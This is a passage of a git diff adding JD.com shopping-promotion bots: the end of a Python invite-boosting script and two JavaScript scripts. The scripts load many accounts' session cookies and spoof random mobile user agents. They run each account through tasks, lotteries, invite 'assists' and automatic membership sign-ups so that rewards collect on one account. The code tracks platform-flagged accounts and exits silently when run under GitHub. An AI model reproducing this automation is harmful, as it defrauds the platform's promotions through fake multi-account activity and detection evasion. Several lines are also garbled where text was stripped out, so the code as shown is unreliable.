'Origin':'https://prodev.m.jd.com', + "Referer":'https://prodev.m.jd.com/', + 'User-Agent':ua +} + response = requests.get(url=url,headers=header).text + return json.loads(response) + +# 开启活动 +async def firstInvite(cookie,ua): + url = f'https://jdjoy.jd.com/member/bring/firstInvite?code={authorCode}' + header = { + 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-Encoding':'gzip, deflate', + 'Accept-Language':'zh-Hans-US;q=1,en-US;q=0.9', + 'Connection':'keep-alive', + 'Cookie':cookie, + "Host":'jdjoy.jd.com', + 'User-Agent':ua +} + response = requests.get(url=url,headers=header).text + print(response) + return json.loads(response) + +async def get_ck(data): + cklist = [] + if data['code']!=200: + return {'code': 0, 'data':data} + else: + env_data = data['data'] + for ck in env_data: + if 'remarks' in ck and ck['name']=='JD_COOKIE': + cklist.append(ck['value']) + else: + pass + return cklist + + +# 检查pin +def checkpin(cks:list,pin): + for ck in cks: + if pin in ck: + return ck + else: + None + +# 主程序 +async def main(): + try: + cks = os.environ["JD_COOKIE"].split("&") + except: + with open('cklist1.txt','r') as f: + cks = f.read().split('\n') + success = 0 # 计算成功数 + inveteck = checkpin(cks,invitePin) # 根据设定的pin返回对应ck + needinviteNum = [] # 需要助力次数 + needdel = [] + need = [] + if inveteck: + print(f'🔔{activatyname}', flush=True) + print(f'==================共{len(cks)}个京东账号Cookie==================') + print(f'==================脚本执行- 北京时间(UTC+8):{get_time()}=====================\n') + print(f'您好!{invitePin},正在获取您的活动信息',) + ua = randomuserAgent() # 获取ua + result = await check(ua, inveteck) # 检测ck + if result['code'] == 200: + await plogin(ua,inveteck) # 获取登录状态 + await asyncio.sleep(2) + result = await jdjoy(ua,inveteck) # 获取活动信息 + await firstInvite(inveteck,ua) # 开启活动 + if result['success']: + brandName = result['data']['brandName'] # 店铺名字 + venderId = result['data']['venderId'] # 店铺入会id + rewardslist =[] # 奖品 + successCount = result['data']['successCount'] # 当前成功数 + success += successCount + result_data = result['data']['rewards'] # 奖品数据 + print(f'您好!账号[{invitePin}],开启{brandName}邀请好友活动\n去开活动') + for i in result_data: + stage = i['stage'] + inviteNum = i['inviteNum'] # 单次需要拉新人数 + need.append(inviteNum) + rewardName = i['rewardName'] # 奖品名 + rewardNum = i['rewardStock'] + if rewardNum !=0: + needinviteNum.append(inviteNum) + needdel.append(inviteNum) + rewardslist.append(f'级别{stage}: 需助力{inviteNum}人,奖品: {rewardName},库存:{rewardNum}件\n') + if len(rewardslist)!=0: + print('当前活动奖品如下: \n'+str('\n'.join(rewardslist))+f'\n当前已助力{successCount}次\n') + for nmubers in needdel: + if success >= nmubers: + print("您当前助力已经满足了,可以去领奖励了") + print(f'\n这就去领取奖励{need.index(nmubers)+1}') + result = await getInviteReward(inveteck,ua,need.index(nmubers)+1) + print(result) + needinviteNum.remove(nmubers) + await asyncio.sleep(10) + needdel = needinviteNum + if needinviteNum == []: + print('奖励已经全部获取啦,退出程序') + return + for n,ck in enumerate(cks,1): + ua = randomuserAgent() # 获取ua + try: + pin = re.findall(r'(pt_pin=([^; ]+)(?=;))',str(ck))[0] + pin = (unquote_plus(pin[1])) + except IndexError: + pin = f'用户{n}' + print(f'******开始【京东账号{n}】{pin} *********\n') + for n,nmubers in enumerate(needinviteNum,1): + for nmubers in needdel: + if success >= nmubers: + print(nmubers) + print("您当前助力已经满足了,可以去领奖励了") + print(f'\n这就去领取奖励{need.index(nmubers)+1}') + result = await getInviteReward(inveteck,ua,need.index(nmubers)+1) + print(result) + needinviteNum.remove(nmubers) + await asyncio.sleep(10) + needdel = needinviteNum + if needinviteNum == []: + print('奖励已经全部获取啦,退出程序') + return + await plogin(ua,ck) # 获取登录状态 + result = await check(ua, ck) # 检测ck + if result['code'] == 200: + result = await jdjoy(ua,ck) # 调用ck + if result['success']: + print(f'账户[{pin}]已开启{brandName}邀请好友活动\n') + await asyncio.sleep(3) + result= await check_ruhui({"venderId":str(venderId), "channel": "401" },ck,venderId,ua) # 检查入会状态 + try: + if result['result']['userInfo']['openCardStatus']==0: # 0 未开卡 + await asyncio.sleep(2) + print(f'您还不是会员哦,这就去去助力{invitePin}\n') + result = await ruhui(ua,ck) + if result['success']: + success +=1 + print(f'助力成功! 当前成功助力{success}个\n') + if '交易失败' in str(result): + success +=1 + print(f'助力成功! 当前成功助力{success}个\n') + else: + print(result) + await asyncio.sleep(2) + else: + print('您已经是会员啦,不去请求了入会了\n') + continue + + except TypeError as e: + print(e) + result = await ruhui(ua,ck) + if result['success']: + success +=1 + print(f'助力成功! 当前成功助力{success}个\n') + if '交易失败' in result: + success +=1 + print(f'助力成功! 当前成功助力{success}个\n') + else: + print(result['errorMessage']) + await asyncio.sleep(2) + + else: # 没有获取到活动信息 + print('未获取到活动参数信息\n') + break + else: + print(result['data']) + continue + else: + print('未能获取到活动信息\n') + return + + else: + print(result['data']) + return + else: + print(f'pin填写有误,请重试') +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/jd_productZ4Brand.js b/jd_productZ4Brand.js new file mode 100644 index 0000000..eba1e58 --- /dev/null +++ b/jd_productZ4Brand.js @@ -0,0 +1,359 @@ +/** + 特务Z + 脚本没有自动开卡,会尝试领取开卡奖励 + cron 23 8,9 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_productZ4Brand.js + 一天要跑2次 + */ +const $ = new Env('特务Z'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +let UA = ``; +$.allInvite = []; +let useInfo = {}; +$.helpEncryptAssignmentId = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false,40,40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try{ + await main(); + }catch (e) { + console.log(JSON.stringify(e)); + } + await $.wait(1000); + } + if($.allInvite.length > 0 ){ + console.log(`\n开始脚本内互助\n`); + } + cookiesArr = getRandomArrayElements(cookiesArr,cookiesArr.length); + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if(!useInfo[$.UserName]){ + continue; + } + $.encryptProjectId = useInfo[$.UserName]; + for (let j = 0; j < $.allInvite.length && $.canHelp; j++) { + $.codeInfo = $.allInvite[j]; + $.code = $.codeInfo.code; + if($.UserName === $.codeInfo.userName || $.codeInfo.time === 3){ + continue; + } + $.encryptAssignmentId = $.codeInfo.encryptAssignmentId; + console.log(`\n${$.UserName},去助力:${$.code}`); + await takeRequest('help'); + await $.wait(1000); + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) + +async function main() { + $.runFlag = false; + $.activityInfo = {}; + await takeRequest('superBrandSecondFloorMainPage'); + if(JSON.stringify($.activityInfo) === '{}'){ + console.log(`获取活动详情失败`); + return ; + } + console.log(`获取活动详情成功`); + $.activityId = $.activityInfo.activityBaseInfo.activityId; + $.activityName = $.activityInfo.activityBaseInfo.activityName; + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`当前活动:${$.activityName},ID:${$.activityId},可抽奖次数:${$.callNumber}`); + $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; + useInfo[$.UserName] = $.encryptProjectId; + await $.wait(1000); + $.taskList = []; + await takeRequest('superBrandTaskList'); + await $.wait(1000); + await doTask(); + if($.runFlag){ + await takeRequest('superBrandSecondFloorMainPage'); + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`可抽奖次数:${$.callNumber}`); + } + for (let i = 0; i < $.callNumber; i++) { + console.log(`进行抽奖`); + await takeRequest('superBrandTaskLottery');//抽奖 + await $.wait(1000); + } +} +async function doTask(){ + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.oneTask.completionFlag){ + console.log(`任务:${$.oneTask.assignmentName},已完成`); + continue; + } + if($.oneTask.assignmentType === 3 || $.oneTask.assignmentType === 0 || $.oneTask.assignmentType === 1 || $.oneTask.assignmentType === 7){ + if($.oneTask.assignmentType === 7){ + console.log(`任务:${$.oneTask.assignmentName},尝试领取开卡奖励;(不会自动开卡,如果你已经是会员,则会领取成功)`); + }else{ + console.log(`任务:${$.oneTask.assignmentName},去执行`); + } + let subInfo = $.oneTask.ext.followShop || $.oneTask.ext.brandMemberList || $.oneTask.ext.shoppingActivity ||''; + if(subInfo && subInfo[0]){ + $.runInfo = subInfo[0]; + }else{ + $.runInfo = {'itemId':null}; + } + await takeRequest('superBrandDoTask'); + await $.wait(1000); + $.runFlag = true; + }else if($.oneTask.assignmentType === 2){ + console.log(`助力码:${$.oneTask.ext.assistTaskDetail.itemId}`); + $.allInvite.push({ + 'userName':$.UserName, + 'code':$.oneTask.ext.assistTaskDetail.itemId, + 'time':0, + 'max':true, + 'encryptAssignmentId':$.oneTask.encryptAssignmentId + }); + } else if($.oneTask.assignmentType === 5) { + let signList = $.oneTask.ext.sign2 || []; + if (signList.length === 0) { + console.log(`任务:${$.oneTask.assignmentName},信息异常`); + } + //if ($.oneTask.assignmentName.indexOf('首页下拉') !== -1) { + for (let j = 0; j < signList.length; j++) { + if (signList[j].status === 1) { + console.log(`任务:${$.oneTask.assignmentName},去执行,请稍稍`); + let itemId = signList[j].itemId; + $.runInfo = {'itemId':itemId}; + await takeRequest('superBrandDoTask'); + await $.wait(3000); + } + } + //} + } + } +} +async function takeRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'superBrandSecondFloorMainPage': + url = `https://api.m.jd.com/api?functionId=superBrandSecondFloorMainPage&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22%7D`; + break; + case 'superBrandTaskList': + url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; + break; + case 'superBrandDoTask': + if($.runInfo.itemId === null){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22completionFlag%22:1,%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + }else{ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + } + if($.oneTask.assignmentType === 5){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0,%22dropDownChannel%22:1%7D`; + } + break; + case 'superBrandTaskLottery': + url = `https://api.m.jd.com/api?functionId=superBrandTaskLottery&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId}%7D`; + break; + case 'help': + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.encryptAssignmentId}%22,%22assignmentType%22:2,%22itemId%22:%22${$.code}%22,%22actionType%22:0%7D`; + break; + default: + console.log(`错误${type}`); + } + myRequest = getRequest(url); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + }catch (e) { + console.log(`返回信息异常:${data}\n`); + return; + } + switch (type) { + case 'superBrandSecondFloorMainPage': + if(data.code === '0' && data.data && data.data.result){ + $.activityInfo = data.data.result; + } + break; + case 'superBrandTaskList': + if(data.code === '0'){ + $.taskList = data.data.result.taskList; + } + break; + case 'superBrandDoTask': + if(data.code === '0'){ + console.log(JSON.stringify(data.data.bizMsg)); + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'superBrandTaskLottery': + if(data.code === '0' && data.data.bizCode !== 'TK000'){ + $.runFlag = false; + console.log(`抽奖次数已用完`); + }else if(data.code === '0' && data.data.bizCode == 'TK000'){ + if(data.data && data.data.result && data.data.result.rewardComponent && data.data.result.rewardComponent.beanList){ + if(data.data.result.rewardComponent.beanList.length >0){ + console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) + } + } + }else{ + $.runFlag = false; + console.log(`抽奖失败`); + } + console.log(JSON.stringify(data)); + break; + + case 'help': + if(data.code === '0' && data.data.bizCode === '0'){ + $.codeInfo.time ++; + console.log(`助力成功`); + }else if (data.code === '0' && data.data.bizCode === '104'){ + $.codeInfo.time ++; + console.log(`已助力过`); + }else if (data.code === '0' && data.data.bizCode === '108'){ + $.canHelp = false; + console.log(`助力次数已用完`); + }else if (data.code === '0' && data.data.bizCode === '103'){ + console.log(`助力已满`); + $.codeInfo.time = 3; + }else if (data.code === '0' && data.data.bizCode === '2001'){ + $.canHelp = false; + console.log(`黑号`); + }else{ + console.log(JSON.stringify(data)); + } + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getRequest(url) { + const headers = { + 'Origin' : `https://pro.m.jd.com`, + 'Cookie' : $.cookie , + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://pro.m.jd.com/mall/active/4UgUvnFebXGw6CbzvN6cadmfczuP/index.html`, + 'Host' : `api.m.jd.com`, + 'User-Agent' : UA, + 'Accept-Language' : `zh-cn`, + 'Accept-Encoding' : `gzip, deflate, br` + }; + return {url: url, headers: headers,body:``}; +} + +function randomWord(randomFlag, min, max){ + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if(randomFlag){ + range = Math.round(Math.random() * (max-min)) + min; + } + for(var i=0; i { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_qqxing.js b/jd_qqxing.js new file mode 100644 index 0000000..b89fe79 --- /dev/null +++ b/jd_qqxing.js @@ -0,0 +1,663 @@ +/* +星系牧场 +活动入口:QQ星儿童牛奶京东自营旗舰店->品牌会员->星系牧场 +每次都要手动打开才能跑 不知道啥问题 +号1默认给我助力,后续接龙 2给1 3给2 + 19.0复制整段话 http:/J7ldD7ToqMhRJI星系牧场养牛牛,可获得DHA专属奶!%VAjYb8me2b!→去猄倲← +[task_local] +#星系牧场 +1 0-23/2 * * * jd_qqxing.js +*/ +const $ = new Env('QQ星系牧场'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +Exchange = true; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +$.shareuuid = "" + !(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i 星系牧场\n\n吹水群:https://t.me/wenmouxx`); +// } else { +// $.msg($.name, "", '星系牧场' + message) +// } +// } + })() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + +// 更新cookie + +function updateCookie (resp) { + if (!oc(() => resp.headers['set-cookie'])){ + return + } + let obj = {} + let cookieobj = {} + let cookietemp = cookie.split(';') + for (let v of cookietemp) { + const tt2 = v.split('=') + obj[tt2[0]] = v.replace(tt2[0] + '=', '') + } + for (let ck of resp['headers']['set-cookie']) { + const tt = ck.split(";")[0] + const tt2 = tt.split('=') + obj[tt2[0]] = tt.replace(tt2[0] + '=', '') + } + const newObj = { + ...cookieobj, + ...obj, + } + cookie = '' + for (let key in newObj) { + key && (cookie = cookie + `${key}=${newObj[key]};`) + } + // console.log(cookie, 'jdCookie') +} +function jdUrl(functionId, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 